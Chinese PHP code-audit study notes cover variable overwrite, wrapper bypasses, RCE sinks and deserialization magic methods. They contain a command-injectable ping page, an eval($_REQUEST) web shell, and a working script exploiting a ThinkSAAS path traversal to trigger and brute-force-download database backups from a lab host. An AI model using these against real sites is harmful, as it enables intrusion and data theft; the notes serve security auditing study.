代码审计

代码审计辅助工具

https://github.com/WhaleShark-Team/cobra   
https://github.com/LoRexxar/Kunlun-M

变量覆盖 

extract()
import_request_variables()
parse_str()
mb_parse_str()
register_global
遍历初始化变量

file_get_contents函数绕过

（1）使用php://input伪协议绕过
（2）用data://伪协议绕过

RCE

RCE函数
eval、preg_replace + /e模式、assertJavascript：evalVbscript: Execute、EvalPython：exec

<?php include($_SERVER['DOCUMENT_ROOT'].'/btslab/header.php'); ?>
  <br/><b>Ping:</b>Please Enter Domain Name or IP Address: <br/><br/>
  <form action="cmd.php" method="get">
  <input type="text" name="host" value=""/>
  <br/><br/><input type="submit" name="Go" value="Go"/>
  </form>
  <br/>

<?php 
if(isset($_GET['host']))
{
if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')
{
$result=shell_exec("ping ".$_GET['host']);
}
else
{
$result=shell_exec("ping -c 4 ".$_GET['host']);
}

echo "<b>Result:</b></br><pre>".$result."</pre>";
}
?>

<?php include($_SERVER['DOCUMENT_ROOT'].'/btslab/footer.php'); ?>

<?php
eval($_REQUEST['code']);
?>

 LFI -》 备份文件下载

<?php
//插件条件入口
defined('IN_TS') or die('Access Denied.');
if(is_file('plugins/'.$app.'/'.$plugin.'/'.$in.'.php')){
    require_once('plugins/'.$app.'/'.$plugin.'/'.$in.'.php');
}else{
    tsNotice('sorry:no plugin!');
}

defined('IN_TS') or die('Access Denied.');
switch($ts){
    case "":

        //输出备份文件
        $arrSqlFile = tsScanDir('data/baksql','file');

        include template('sql');
        break;

    //优化
    case "optimize":
        $arrTables = $db->fetch_all_assoc("SHOW TABLES");
        foreach($arrTables as $key=>$item){
            $db->query("OPTIMIZE TABLE `".$item."` ");
        }
        qiMsg('优化数据库成功！');
        break;

    //备份导出
    case "export":

        require_once 'thinksaas/DbManage.php';
        $bakdb = new DBManage ( $TS_DB['host'].':'.$TS_DB['port'], $TS_DB['user'], $TS_DB['pwd'], $TS_DB['name'], 'utf8' );
        $bakdb->backup ('','data/baksql/');

        qiMsg('数据库备份完毕！');

        break;


?php
date_default_timezone_set('Asia/Hong_Kong');
$url = "http://192.168.116.129/thinksaas/index.php?app=user&ac=plugin&plugin=face&in=my5t3ry/../../../../app/system/action/sql&ts=export";
file_get_contents($url);
$time = date('YmdHis');
for($i = $time; $i <= $time + 300; $i++){
    $filename = $i ."_all_v1.sql";
    $url = "http://192.168.116.129/thinksaas/data/baksql/".$filename;
    if (@file_get_contents($url, null, null, -1, 1)){
        echo $url;
    }
}
?>

php绕过MD5 - 科学计数法绕过

php绕过MD5 - 数组全等绕过

反序列化

__construct()

__destruct()

__call()

__callStatic()

__get()

__set()

__isset()

__unset()

__sleep()

__wakeup()

__toString()

__invoke()

__set_state()

__clone()

__debugInfo()